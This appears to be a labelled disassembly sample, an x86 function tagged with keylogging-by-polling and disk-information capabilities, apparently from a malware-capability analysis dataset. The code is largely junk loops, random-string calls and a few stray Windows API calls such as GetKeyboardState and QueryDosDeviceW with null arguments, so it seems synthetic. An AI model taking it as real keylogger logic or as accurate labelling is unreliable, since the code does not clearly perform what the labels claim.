Function at 0x10023959
Capabilities:
Get disk information
Log keystrokes via polling

Disassembly:
mov eax, 0x100600f2
call fcn.1005f0d0
sub esp, 0x58
cmp byte [ebp + 0x34], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, edx
mov byte [ebp - 0x18], cl
je 0x10023b50
cmp byte [ebp + 0x24], 0
je 0x10023a96
mov dword [ebp - 0x24], 0x78e
cmp dword [ebp - 0x24], 0x9e6
jle 0x10023a19
xor esi, esi
mov dword [ebp - 0x20], esi
xor edi, edi
mov dword [ebp - 0x1c], edi
mov ecx, edi
mov dword [ebp + 0x34], esi
mov edi, esi
xor ebx, ebx
sar edi, cl
mov dword [ebp + 0x34], edi
mov ecx, ebx
mov dword [ebp - 0x28], edi
xor esi, esi
shl edi, cl
mov eax, edi
lea ecx, [ebp - 0x48]
or eax, esi
cdq
push edx
push eax
call fcn.10001ac3
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100239d3
mov eax, dword [eax]
push eax
call fcn.1004881f
pop ecx
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10015918
inc esi
cmp esi, 0x4ab0
jl 0x100239ba
mov edi, dword [ebp + 0x34]
inc ebx
cmp ebx, 0xd0e
jl 0x100239b1
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x5258
jl 0x100239a3
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x1d08
jl 0x1002399e
cmp dword [ebp - 0x24], 0x655
jge 0x10023a2d
push str.vbrx_wtolvi_patt_elorvj_jhcijk_hroqn
call fcn.1004881f
pop ecx
mov eax, dword [ebp + 0x30]
or dword [ebp - 4], 0xffffffff
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x18]
mov ecx, edi
mov eax, dword [eax]
mov dword [ebp + 0x34], eax
mov eax, dword [ebp + 0x2c]
push ebx
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1002af88
mov esi, dword [ebp - 0x2c]
cmp esi, dword [edi]
je 0x10023a61
mov eax, dword [ebx]
cmp eax, dword [esi + 0x10]
jge 0x10023a85
push ecx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], ebx
push eax
push ecx
mov ecx, edi
call fcn.1002b4d0
push eax
add eax, 0x10
mov ecx, edi
push eax
push esi
lea eax, [ebp - 0x30]
push eax
call fcn.1002b500
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp + 0x34]
mov dword [esi + 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 0x18], eax
jmp 0x10023c10
mov dword [ebp + 0x34], 0x4ba5
cmp dword [ebp + 0x34], 0x4f71
jle 0x10023ae7
xor esi, esi
xor edi, edi
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x60]
push edx
push eax
call fcn.10001ac3
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10023ac2
mov eax, dword [eax]
push eax
call fcn.1004881f
pop ecx
push 0
push 1
lea ecx, [ebp - 0x60]
call fcn.10015918
inc edi
cmp edi, 0xa8f
jl 0x10023aaa
inc esi
cmp esi, 0x6dc5
jl 0x10023aa8
cmp dword [ebp + 0x34], 0x47f6
jge 0x10023afb
push str.mbdnzy_pntaqb_nrelj_zuf_zqpqlwfjw_hkaidpzo_dmojq_yhuxoed_hnazfshtm_hvhgrbk_cwciborf_likdq_ioao
call fcn.1004881f
pop ecx
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push 0xfffffffffffffff9
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ecx]
mov eax, dword [ecx]
mov eax, dword [edx]
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
mov eax, dword [ecx]
mov ecx, 0x83518f4c
mov eax, dword [edx]
mov eax, dword [edx]
cmp ecx, eax
mov ecx, dword [ebx]
mov edx, dword [edx]
sbb eax, eax
neg eax
inc ecx
add ecx, eax
mov eax, dword [ebx]
neg ecx
sbb ecx, ecx
inc ecx
imul edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp + 0x20]
pop edx
sete cl
sub edx, ecx
mov eax, dword [eax]
mov dword [eax + 8], edx
jmp 0x10023c10
test cl, cl
je 0x10023c04
mov dword [ebp - 0x24], 0x1245
cmp dword [ebp - 0x24], 0x1521
jle 0x10023bad
xor edi, edi
xor esi, esi
mov dword [ebp + 0x34], esi
mov ebx, esi
mov esi, 0x3e03
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x10079cd8
cdq
push edx
push eax
call fcn.10015096
dec ebx
dec esi
jne 0x10023b76
mov esi, dword [ebp + 0x34]
inc esi
mov dword [ebp + 0x34], esi
cmp esi, 0x74d7
jl 0x10023b6f
inc edi
cmp edi, 0x12dd
jl 0x10023b6a
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 4], 4
cmp dword [ebp - 0x24], 0xf22
jge 0x10023bcc
mov edx, str.cfssjptuz_vncjsjz_ekjjnnna_ynd_rnjv_tgveete_uetnprdn_eghpnsybb
mov ecx, 0x10079cd8
call fcn.1001996e
mov eax, dword [ebp + 0x28]
cmp byte [eax], 0
je 0x10023c10
push 0
push 0x1086
push 0
push 0x1e9
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
jmp 0x10023c10
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret